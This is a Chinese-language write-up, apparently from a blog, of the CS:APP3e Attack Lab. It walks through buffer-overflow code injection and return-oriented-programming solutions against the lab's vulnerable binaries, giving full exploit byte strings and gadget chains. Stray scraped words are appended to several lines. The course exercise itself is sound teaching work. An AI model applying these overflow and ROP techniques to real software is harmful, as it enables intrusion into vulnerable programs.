CS:APP3e 深刻理解計算機系統_3e Attacklab 實驗


詳細的題目要求和資源能夠到 http://csapp.cs.cmu.edu/3e/labs.html 或者 http://www.cs.cmu.edu/~./213/schedule.html 獲取。
html

getbuf()實現爲:shell

unsigned getbuf()
{
    char buf[BUFFER_SIZE];
    Gets(buf); /* 沒有邊界檢查 */
    return 1;
}

其中的BUFFER_SIZE是在編譯時候就肯定的常量。數組


Part I: Code Injection Attacks



test()爲執行ctarget會進入並要利用的函數:sass

void test()
{
    int val;
    val = getbuf();
    printf("No exploit.Getbuf returned 0x%x\n", val);
}

Level 1

這一題須要咱們將test()調用get()後的返回地址覆蓋爲touch1()的地址。cookie

在GDB下設置test()處的斷點,並單步調試進入getbuf()數據結構

能夠看到,Gets()讀取超過28字節就會將原rsp中的返回地址淹沒。查看touch1()的地址(能夠反彙編ctarget或者在調試器裏查看):app

00000000004017c0 <touch1>:
  4017c0:   48 83 ec 08             sub    $0x8,%rsp
  4017c4:   c7 05 0e 2d 20 00 01    movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:   00 00 00 
  4017ce:   bf c5 30 40 00          mov    $0x4030c5,%edi
  4017d3:   e8 e8 f4 ff ff          callq  400cc0 <puts@plt>
  4017d8:   bf 01 00 00 00          mov    $0x1,%edi
  4017dd:   e8 ab 04 00 00          callq  401c8d <validate>
  4017e2:   bf 00 00 00 00          mov    $0x0,%edi
  4017e7:   e8 54 f6 ff ff          callq  400e40 <exit@plt>

因此咱們能夠輸入0x28字節填充物+返回地址00000000004017c0,即exploit.txt應該爲:dom

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00

運行:函數


Level 2

這一題要求咱們將test()調用get()後的返回到touch2(),而且傳入touch2()的參數爲cookie.txt裏的值,在個人環境下,cookie爲0x59b997fa編碼

void touch2(unsigned val)
{
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
exit(0);
}

由上一題知,Gets()讀取超過0x28字節就會將原rsp中的返回地址淹沒。可是咱們要使得傳入touch2()的參數爲cookie,也就是要修改%rdi的值,由題目要求知,ctarget程序並未開啓隨機地址和棧幀代碼不可執行的保護。因此咱們能夠經過注入代碼實現目標。

1.找到touch2()的地址:

00000000004017ec <touch2>:
     4017ec:    48 83 ec 08             sub    $0x8,%rsp
     4017f0:    89 fa                   mov    %edi,%edx
     4017f2:    c7 05 e0 2c 20 00 02    movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
     4017f9:    00 00 00 
     4017fc:    3b 3d e2 2c 20 00       cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>
     401802:    75 20                   jne    401824 <touch2+0x38>
     .........

2.由地址寫出相應的彙編代碼

movq $0x59b997fa, %rdi #參數
   retq

3.編譯寫好的彙編代碼

gcc -c asm.s

4.反彙編剛剛生成的目標文件,獲得指令對應的機器碼

frank@under:~/Desktop/cs:app/lab/AttackLab/target1$ objdump -d asm.o

   asm.o:     file format elf64-x86-64


   Disassembly of section .text:

   0000000000000000 <.text>:
      0:    48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
      7:    c3                      retq

5.我打算就利用buf[BUFFER_SIZE]所在的0x28字節棧幀注入代碼。首先要得到棧頂的地址,以便將Gets()返回到這裏(把%rip的指向從.text改成棧幀),在GDB中查看:

因此應該將Gets()的返回地址淹沒爲0x5561dc78

6.因此exploit.txt應該爲(注意小端順序,且0x28+0x8字節後應該爲touch2()的地址,是咱們將%rdi修改後ret指令取到的地址),此時指令和數據都放在棧幀中:

48 c7 c7 fa 97 b9 59 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 ec 17 40 00 00 00 00 00

運行:


Level 3

這一題也是代碼注入,可是要求咱們向touch3()傳入cookie字符串。

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

1.字符串是順序存儲的,查ascii碼錶可知個人cookie 0x59b997fa 爲:(不要掉了0x00)

35 39 62 39 39 37 66 61 00

2.找到touch3()的地址:

00000000004018fa <touch3>:
     4018fa:    53                      push   %rbx
     4018fb:    48 89 fb                mov    %rdi,%rbx
     4018fe:    c7 05 d4 2b 20 00 03    movl   $0x3,0x202bd4(%rip)        # 6044dc <vlevel>
     401905:    00 00 00 
     401908:    48 89 fe                mov    %rdi,%rsi
     40190b:    8b 3d d3 2b 20 00       mov    0x202bd3(%rip),%edi        # 6044e4 <cookie>
     401911:    e8 36 ff ff ff          callq  40184c <hexmatch>
     401916:    85 c0                   test   %eax,%eax
     401918:    74 23                   je     40193d <touch3+0x43>
     .........

3.編寫彙編語句

movq $0x5561dcb0, %rdi #參數
   retq

4.編譯反彙編

frank@under:~/Documents/study/cs:app/lab/AttackLab/target1$ objdump -d asm.o

   asm.o:     file format elf64-x86-64


   Disassembly of section .text:

   0000000000000000 <.text>:
      0:    48 c7 c7 b0 dc 61 55    mov    $0x5561dcb0,%rdi
      7:    c3                      retq

5.要注意到hexmatch()touch3()之間都有數據結構,特別是hexmatch() 有一個數組,確定會保存在棧幀中,也就是說%rsp低地址的部分,因此咱們要把1中的字符串保存在%rsp的高地址,由Level 2知,這個地址爲0x5561dc78+0x28+0x8+0x8 = 0x5561dcb0。因此exploit.txt應該爲:

48 c7 c7 b0 dc 61 55 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00

運行:


Part II: Return-Oriented Programming


最後兩個題開起了隨機地址和棧幀代碼不可執行的保護,須要使用ROP攻擊。

反彙編rtarget獲得能夠複用代碼的部分(gadget farm):

0000000000401994 <start_farm>:
  401994:   b8 01 00 00 00          mov    $0x1,%eax
  401999:   c3                      retq   

000000000040199a <getval_142>:
  40199a:   b8 fb 78 90 90          mov    $0x909078fb,%eax
  40199f:   c3                      retq   

00000000004019a0 <addval_273>:
  4019a0:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:   c3                      retq   

00000000004019a7 <addval_219>:
  4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:   c3                      retq   

00000000004019ae <setval_237>:
  4019ae:   c7 07 48 89 c7 c7       movl   $0xc7c78948,(%rdi)
  4019b4:   c3                      retq   

00000000004019b5 <setval_424>:
  4019b5:   c7 07 54 c2 58 92       movl   $0x9258c254,(%rdi)
  4019bb:   c3                      retq   

00000000004019bc <setval_470>:
  4019bc:   c7 07 63 48 8d c7       movl   $0xc78d4863,(%rdi)
  4019c2:   c3                      retq   

00000000004019c3 <setval_426>:
  4019c3:   c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  4019c9:   c3                      retq   

00000000004019ca <getval_280>:
  4019ca:   b8 29 58 90 c3          mov    $0xc3905829,%eax
  4019cf:   c3                      retq   

00000000004019d0 <mid_farm>:
  4019d0:   b8 01 00 00 00          mov    $0x1,%eax
  4019d5:   c3                      retq   

00000000004019d6 <add_xy>:
  4019d6:   48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  4019da:   c3                      retq   

00000000004019db <getval_481>:
  4019db:   b8 5c 89 c2 90          mov    $0x90c2895c,%eax
  4019e0:   c3                      retq   

00000000004019e1 <setval_296>:
  4019e1:   c7 07 99 d1 90 90       movl   $0x9090d199,(%rdi)
  4019e7:   c3                      retq   

00000000004019e8 <addval_113>:
  4019e8:   8d 87 89 ce 78 c9       lea    -0x36873177(%rdi),%eax
  4019ee:   c3                      retq   

00000000004019ef <addval_490>:
  4019ef:   8d 87 8d d1 20 db       lea    -0x24df2e73(%rdi),%eax
  4019f5:   c3                      retq   

00000000004019f6 <getval_226>:
  4019f6:   b8 89 d1 48 c0          mov    $0xc048d189,%eax
  4019fb:   c3                      retq   

00000000004019fc <setval_384>:
  4019fc:   c7 07 81 d1 84 c0       movl   $0xc084d181,(%rdi)
  401a02:   c3                      retq   

0000000000401a03 <addval_190>:
  401a03:   8d 87 41 48 89 e0       lea    -0x1f76b7bf(%rdi),%eax
  401a09:   c3                      retq   

0000000000401a0a <setval_276>:
  401a0a:   c7 07 88 c2 08 c9       movl   $0xc908c288,(%rdi)
  401a10:   c3                      retq   

0000000000401a11 <addval_436>:
  401a11:   8d 87 89 ce 90 90       lea    -0x6f6f3177(%rdi),%eax
  401a17:   c3                      retq   

0000000000401a18 <getval_345>:
  401a18:   b8 48 89 e0 c1          mov    $0xc1e08948,%eax
  401a1d:   c3                      retq   

0000000000401a1e <addval_479>:
  401a1e:   8d 87 89 c2 00 c9       lea    -0x36ff3d77(%rdi),%eax
  401a24:   c3                      retq   

0000000000401a25 <addval_187>:
  401a25:   8d 87 89 ce 38 c0       lea    -0x3fc73177(%rdi),%eax
  401a2b:   c3                      retq   

0000000000401a2c <setval_248>:
  401a2c:   c7 07 81 ce 08 db       movl   $0xdb08ce81,(%rdi)
  401a32:   c3                      retq   

0000000000401a33 <getval_159>:
  401a33:   b8 89 d1 38 c9          mov    $0xc938d189,%eax
  401a38:   c3                      retq   

0000000000401a39 <addval_110>:
  401a39:   8d 87 c8 89 e0 c3       lea    -0x3c1f7638(%rdi),%eax
  401a3f:   c3                      retq   

0000000000401a40 <addval_487>:
  401a40:   8d 87 89 c2 84 c0       lea    -0x3f7b3d77(%rdi),%eax
  401a46:   c3                      retq   

0000000000401a47 <addval_201>:
  401a47:   8d 87 48 89 e0 c7       lea    -0x381f76b8(%rdi),%eax
  401a4d:   c3                      retq   

0000000000401a4e <getval_272>:
  401a4e:   b8 99 d1 08 d2          mov    $0xd208d199,%eax
  401a53:   c3                      retq   

0000000000401a54 <getval_155>:
  401a54:   b8 89 c2 c4 c9          mov    $0xc9c4c289,%eax
  401a59:   c3                      retq   

0000000000401a5a <setval_299>:
  401a5a:   c7 07 48 89 e0 91       movl   $0x91e08948,(%rdi)
  401a60:   c3                      retq   

0000000000401a61 <addval_404>:
  401a61:   8d 87 89 ce 92 c3       lea    -0x3c6d3177(%rdi),%eax
  401a67:   c3                      retq   

0000000000401a68 <getval_311>:
  401a68:   b8 89 d1 08 db          mov    $0xdb08d189,%eax
  401a6d:   c3                      retq   

0000000000401a6e <setval_167>:
  401a6e:   c7 07 89 d1 91 c3       movl   $0xc391d189,(%rdi)
  401a74:   c3                      retq   

0000000000401a75 <setval_328>:
  401a75:   c7 07 81 c2 38 d2       movl   $0xd238c281,(%rdi)
  401a7b:   c3                      retq   

0000000000401a7c <setval_450>:
  401a7c:   c7 07 09 ce 08 c9       movl   $0xc908ce09,(%rdi)
  401a82:   c3                      retq   

0000000000401a83 <addval_358>:
  401a83:   8d 87 08 89 e0 90       lea    -0x6f1f76f8(%rdi),%eax
  401a89:   c3                      retq   

0000000000401a8a <addval_124>:
  401a8a:   8d 87 89 c2 c7 3c       lea    0x3cc7c289(%rdi),%eax
  401a90:   c3                      retq   

0000000000401a91 <getval_169>:
  401a91:   b8 88 ce 20 c0          mov    $0xc020ce88,%eax
  401a96:   c3                      retq   

0000000000401a97 <setval_181>:
  401a97:   c7 07 48 89 e0 c2       movl   $0xc2e08948,(%rdi)
  401a9d:   c3                      retq   

0000000000401a9e <addval_184>:
  401a9e:   8d 87 89 c2 60 d2       lea    -0x2d9f3d77(%rdi),%eax
  401aa4:   c3                      retq   

0000000000401aa5 <getval_472>:
  401aa5:   b8 8d ce 20 d2          mov    $0xd220ce8d,%eax
  401aaa:   c3                      retq   

0000000000401aab <setval_350>:
  401aab:   c7 07 48 89 e0 90       movl   $0x90e08948,(%rdi)
  401ab1:   c3                      retq   

0000000000401ab2 <end_farm>:
  401ab2:   b8 01 00 00 00          mov    $0x1,%eax
  401ab7:   c3                      retq   
  401ab8:   90                      nop
  401ab9:   90                      nop
  401aba:   90                      nop
  401abb:   90                      nop
  401abc:   90                      nop
  401abd:   90                      nop
  401abe:   90                      nop
  401abf:   90                      nop


指令編碼參考以下,以十六進制表示:**

A. Encodings of movq instructions

B. Encodings of popq instructions

C. Encodings of movl instructions

D. Encodings of 2-byte functional nop instructions


Level 2

這一題要求咱們重複第二題的套路,而且只能使用%rax–%rdi前8個x86-64寄存器和如下指令:

movq : The codes for these are shown in Figure A.
popq : The codes for these are shown in Figure B.
ret : This instruction is encoded by the single byte 0xc3.
nop : This instruction (pronounced 「no op,」 which is short for 「no operation」) is encoded by the single
byte 0x90. Its only effect is to cause the program counter to be incremented by 1.

1.尋找可用指令,我一開始的想法是直接找pop %rdi 而後返回到touch2() ,可是並無在gadget farm中找到對應的5f機器碼。因而我想先pop到其餘寄存器而後用movq指令,因爲看到%rax參與的比較多,找pop %rax和movq %rax, %rdi。

找到以下兩個能夠利用的gadgets:

00000000004019a7 <addval_219>:
     4019a7:    8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
     4019ad:    c3                      retq   

   00000000004019c3 <setval_426>:
     4019c3:    c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
     4019c9:    c3                      retq

addval_219要利用的58的地址:0x4019a7 + 4= 0x4019ab

setval_426要利用的地址:0x4019c3 + 2 = 0x4019c5

因此咱們的gadgets就是0x4019ab0x4019c5

2.尋找touch2()的地址:(函數在.text段內,不受棧幀地址隨機化的影響)

00000000004017ec <touch2>:
     4017ec:    48 83 ec 08             sub    $0x8,%rsp
     4017f0:    89 fa                   mov    %edi,%edx
     4017f2:    c7 05 e0 3c 20 00 02    movl   $0x2,0x203ce0(%rip)        # 6054dc <vlevel>
     4017f9:    00 00 00 
     4017fc:    3b 3d e2 3c 20 00       cmp    0x203ce2(%rip),%edi        # 6054e4 <cookie>
     401802:    75 20                   jne    401824 <touch2+0x38>
     401804:    be 08 32 40 00          mov    $0x403208,%esi
     401809:    bf 01 00 00 00          mov    $0x1,%edi
     40180e:    b8 00 00 00 00          mov    $0x0,%eax
     ................

3.查看棧幀大小

能夠看到棧幀大小沒有改變,仍是0x28個字節。

4.因此咱們能夠輸入0x28字節填充物+第一個gadget地址0x4019ab + cookie0x59b997fa (pop到%rax中) + 第二個gadget地址0x4019c5 + touch2()的地址,即exploit.txt應該爲:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 c5 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00

運行:


Level 3

這一題可能要費不少時間,之後再寫。。先去複習數理邏輯。。


更新:

這一題費了大概1個小時。主要是題目中給的一個建議:You’ll want to review the effect a movl instruction has on the upper 4 bytes of a register, as is described on page 183 of the text.

一直沒有明白只用movq+movl+popq+functional nop能獲取字符串的首地址到%rdi中。由於若是隻靠「最後一次」gadget將此時字符串的地址(字符串保存在最後一個gadget的高地址部分),那麼不存在能把%rsp直接送到%rdi的指令,而且沒法調用touch3() (此時最後一個gadget和字符串緊密相連)。因此這個思路不行,只能採起相對地址的思想:先取出%esp(此時還不是字符串的首地址),獲取高位的不變地址,而後讓它加上偏移值,便可獲得咱們設置的字符串的首地址。

可是還有一個問題,題目沒有給addq的參考機器碼。也就是說,咱們只可以用movl指令去改變低位的值,可是這樣又會讓高位(例如7fff..)丟失。

這裏卡了一會,忽然想到gadgets中會不會有能夠利用的gadget。查找後找到一個「鶴立雞羣」的:

00000000004019d6 <add_xy>:
  4019d6:   48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  4019da:   c3                      retq

因此採起這樣一個方案:%rdi和%rsi中各保存舊地址和偏移量。調用這個gadget後%rax中就是字符串真正的地址了。而後把%rax直接或間接的送給%rdi,而後返回到touch3() 。下面是這個方案的實現步驟:


1.%rsp確定是要取出來的,咱們先在gadgets中尋找movq %rsp, 的指令:

雖然沒有找到直接movq %rsp, %rdi的指令,可是找到了一個送到%rax的

movq %rsp, %rax #機器碼:48 89 e0

   0000000000401aab <setval_350>:       #利用地址401aad
     401aab:    c7 07 48 89 e0 90       movl   $0x90e08948,(%rdi)
     401ab1:    c3                      retq

2.而後再找movq %rax, %rsi的指令,和上面的movq %rsp, %rax結合間接傳送舊地址:

找到兩個能夠利用的:

movq %rax, %rdi #機器碼48 89 c7

   00000000004019a0 <addval_273>:       #利用地址4019a2
     4019a0:    8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
     4019a6:    c3                      retq

   00000000004019c3 <setval_426>:
     4019c3:    c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
     4019c9:    c3                      retq

3.找直接能把offset彈到%rsi的popq指令,然而並無。。因而找傳送到%rsi的指令,想作一次間接傳送,然而也沒有。。。忽然想到因爲咱們只須要低位offset(字符串在高地址保存),movl , %esi也是行的。

因而找到了四個都是movl %ecx, %esi的可利用指令:(注意一些functional nop的存在不影響gadget的功能)

movl %ecx, %esi #機器碼89 ce

   00000000004019e8 <addval_113>:
     4019e8:    8d 87 89 ce 78 c9       lea    -0x36873177(%rdi),%eax
     4019ee:    c3                      retq

   0000000000401a11 <addval_436>:       #可利用地址401a13
     401a11:    8d 87 89 ce 90 90       lea    -0x6f6f3177(%rdi),%eax
     401a17:    c3                      retq

   0000000000401a25 <addval_187>:
     401a25:    8d 87 89 ce 38 c0       lea    -0x3fc73177(%rdi),%eax
     401a2b:    c3                      retq

   0000000000401a61 <addval_404>:
     401a61:    8d 87 89 ce 92 c3       lea    -0x3c6d3177(%rdi),%eax
     401a67:    c3                      retq

4.接着咱們就找有麼有popq %rcx的gadget,然而並無,說明還要作一次間接傳送。尋找movl ,%ecx(後面也是,若是間接傳送直接找movl,比movq機器碼簡單,更可能存在)

找到以下兩個能夠用的gadget,都是movl %edx, %ecx:

movl %edx, %ecx #機器碼89 d1

   0000000000401a33 <getval_159>:       #可利用地址401a34
     401a33:    b8 89 d1 38 c9          mov    $0xc938d189,%eax
     401a38:    c3                      retq

   0000000000401a68 <getval_311>:
     401a68:    b8 89 d1 08 db          mov    $0xdb08d189,%eax
     401a6d:    c3                      retq

5.接着尋找有沒有popq %rdx的gadget,然而仍是沒有!!哎,看來還要作間接傳送。尋找movl , %edx指令:

找到以下兩個能夠用的gadget,都是movl %eax, %edx

movl %eax, %edx #機器碼89 c2
   00000000004019db <getval_481>:       #可利用地址4019dd
     4019db:    b8 5c 89 c2 90          mov    $0x90c2895c,%eax
     4019e0:    c3                      retq


   0000000000401a40 <addval_487>:
     401a40:    8d 87 89 c2 84 c0       lea    -0x3f7b3d77(%rdi),%eax
     401a46:    c3                      retq

6.接着找popq %rax的gadget,此次終於找到了。。(哭)

popq %rax #機器碼58
   00000000004019a7 <addval_219>:       #可利用地址4019ab
     4019a7:    8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
     4019ad:    c3                      retq 

   00000000004019ca <getval_280>:
     4019ca:    b8 29 58 90 c3          mov    $0xc3905829,%eax
     4019cf:    c3                      retq

7.尋找touch3()的地址:00000000004018fa

00000000004018fa <touch3>:
     4018fa:    53                      push   %rbx
     4018fb:    48 89 fb                mov    %rdi,%rbx
     4018fe:    c7 05 d4 3b 20 00 03    movl   $0x3,0x203bd4(%rip)        # 6054dc <vlevel>
     401905:    00 00 00 
     401908:    48 89 fe                mov    %rdi,%rsi
     40190b:    8b 3d d3 3b 20 00       mov    0x203bd3(%rip),%edi        # 6054e4 <cookie>
     401911:    e8 36 ff ff ff          callq  40184c <hexmatch>
     401916:    85 c0                   test   %eax,%eax
     401918:    74 23                   je     40193d <touch3+0x43>
     40191a:    48 89 da                mov    %rbx,%rdx
     40191d:    be 58 32 40 00          mov    $0x403258,%esi
     ...............


先梳理一下咱們的輸入策略:

0x28字節填充物 -> movq %rsp, %rax(舊地址)-> movq %rax, %rdi -> popq %rax(偏移量) -> offset(上一個gadget pop的時候就是pop這個數據到%rax中)-> movl %eax, %edx -> movl %edx, %ecx -> movl %ecx, %esi -> lea (%rdi,%rsi,1),%rax -> touch3的地址 -> cookie string

總共用到了8個gadgets,和題目說的「官方」方案的步驟數同樣,不知道最短能用幾個?

下面先開始構建輸入,而後再算offset的值應該是多少:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /* 0x28 bytes 填充物 */
ad 1a 40 00 00 00 00 00 /* movq %rsp, %rax */
a2 19 40 00 00 00 00 00 /* movq %rax, %rdi */
ab 19 40 00 00 00 00 00 /* popq %rax */
xx xx 00 00 00 00 00 00 /* offset*/
dd 19 40 00 00 00 00 00 /* movl %eax, %edx */
34 1a 40 00 00 00 00 00 /* movl %edx, %ecx */
13 1a 40 00 00 00 00 00 /* movl %ecx, %esi */
d6 19 40 00 00 00 00 00 /* lea    (%rdi,%rsi,1),%rax */
a2 19 40 00 00 00 00 00 /* movq %rax, %rdi */
fa 18 40 00 00 00 00 00 /* touch3 */
35 39 62 39 39 37 66 61 00 /* string */

下面開始算offset,注意,retq至關於popq %rip,也就是說,在執行第一個gadget的movq %rsp, %rax的時候,%rsp已經指向下一個gadget movq %rax, %rdi了,一開始我在這犯了錯,多加了8個字節。因此偏移量應該是:9*8 = 72 = 0x48 (注意offset自己也佔了8個字節)。

因此exploit.txt應該以下:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ad 1a 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 ab 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 dd 19 40 00 00 00 00 00 34 1a 40 00 00 00 00 00 13 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00

運行:




此次實驗真的頗有意思,若是說上次的bomblab是逆向的話,此次應該就是pwn吧,哈哈。

另外,functional nop有兩個值得一提:

and 和 or指令原本是改變目的地址的數據的,可是這裏說的是源和目的地址相同,因此不管怎麼算都是「改變後相同「即」不改變「操做數的。

相關文章
相關標籤/搜索